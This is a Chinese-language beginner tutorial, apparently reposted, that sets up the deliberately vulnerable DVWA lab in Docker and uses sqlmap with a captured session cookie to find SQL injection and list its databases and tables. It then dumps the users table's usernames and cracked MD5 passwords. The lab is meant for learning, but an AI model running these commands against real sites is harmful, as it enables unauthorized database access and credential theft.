sqlmap + DVWA 入門


sqlmap 入門

前言

項目地址

sqlmap: https://github.com/sqlmapproject/sqlmap

DVWA: https://github.com/ethicalhack3r/DVWA

實驗環境:Ubuntu 18.04 + sqlmap,CentOS + Docker + DVWA

工具介紹:sqlmap 是用來sql 注入的工具,DVWA 是圈內著名的web 安全測試平台,可以用來進行SQL 注入、文件上傳漏洞、XSS 攻擊等實驗。在靶機CentOS 上,使用Docker 部署DVWA 平台,在測試機Ubuntu 上安裝sqlmap

准備階段

1、在CentOS 上安裝Docker-CE

如果已經安裝Docker 則可以跳過這一步,如果不願意使用Docker,可以參考DVWA項目地址,手動下載資源文件部署平台

在CentOS上安裝Docker:參考其他教程(還沒寫出來)

2、安裝DVWA

由於Docker 安裝之后默認的文件系統為layover2,而DVWA 在overlay2 上回遇到和mysql 相關的問題,因此官方推薦更換docker 使用文件系統。

此步我們使用第三方制作的DVWA,支持overlay2:

Docker Hub 地址:https://hub.docker.com/r/citizenstig/dvwa

安裝步驟

# 獲取鏡像
docker pull docker pull citizenstig/dvwa

# 新建容器
docker run -d -p 80:80 citizenstig/dvwa

訪問CentOS 的主機地址,可以看到,除reCAPTCHA key 為Missing 紅色外,其余狀態均為綠色。點擊Create/Reset Database按鈕

3、配置DVWA

將DVWA 安全等級修改為Low

4、在Ubuntu 上安裝sqlmap

直接使用apt 安裝,建議使用國內軟件源:

sudo apt install sqlmap

搞事階段

1、訪問CentOS 地址,進入DVWA 配置,使用用戶名 admin,密碼 password 登錄

2、查看Cookis:

在我的電腦上,本次登錄使用的cookie為:

PHPSESSID=ogar52uhrqgksvhb7sf5club92;security=low

3、DVWA 選擇SQL Injection,在輸入框內輸入任意的測試內容,例如:happy:

可以看到URL 內出現了GET 傳值的數據:?id=happy 這意味着可以嘗試進行sql 注入

4、使用sqlmap

直接輸入sqlmap 可以看到使用提示:

我們要以剛才發現的 ?id 為突破點,使用sqlmap 對DVWA 進行sql 注入測試:

sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch

-u:URL 地址,其中IpAddress 為CentOS 的地址

--cookie:傳入剛才登錄的cookie,模擬登錄(可以嘗試不傳入cookie 直接注入會發生什么)

--batch:使用默認選項

等待片刻后,sqlmap 給出了此次注入測試的結果:

代表的含義為:sqlmap 通過3704次測試后,找到了四種進行注入的方法(存在四種漏洞),分別為boolean-based blind, error-based, AND/OR time-based blind, UNION query,最后還給出了服務器使用的操作系統、web 引擎和MySQL 大致版本

5、偷看數據庫

使用 --dbs 查看數據庫:

sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch --dbs

我們准備看一下dvwa 數據庫中的表:

sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch -D dvwa --tables

查看users 中的columns :

sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch -D dvwa -T users --columns 

發現user 與password,查看這兩列的內容:

sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch -D dvwa -T users -C "user,password" --dump

途中可以看到password 字段為md5 加密,sqlmap 開始爆破試圖得到解密結果:

最終得到表內數據以及解密后的密碼:

后續階段

sqlmap 會將每次的注入結果存放在 ~/.sqlmap/out 文件夾內


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM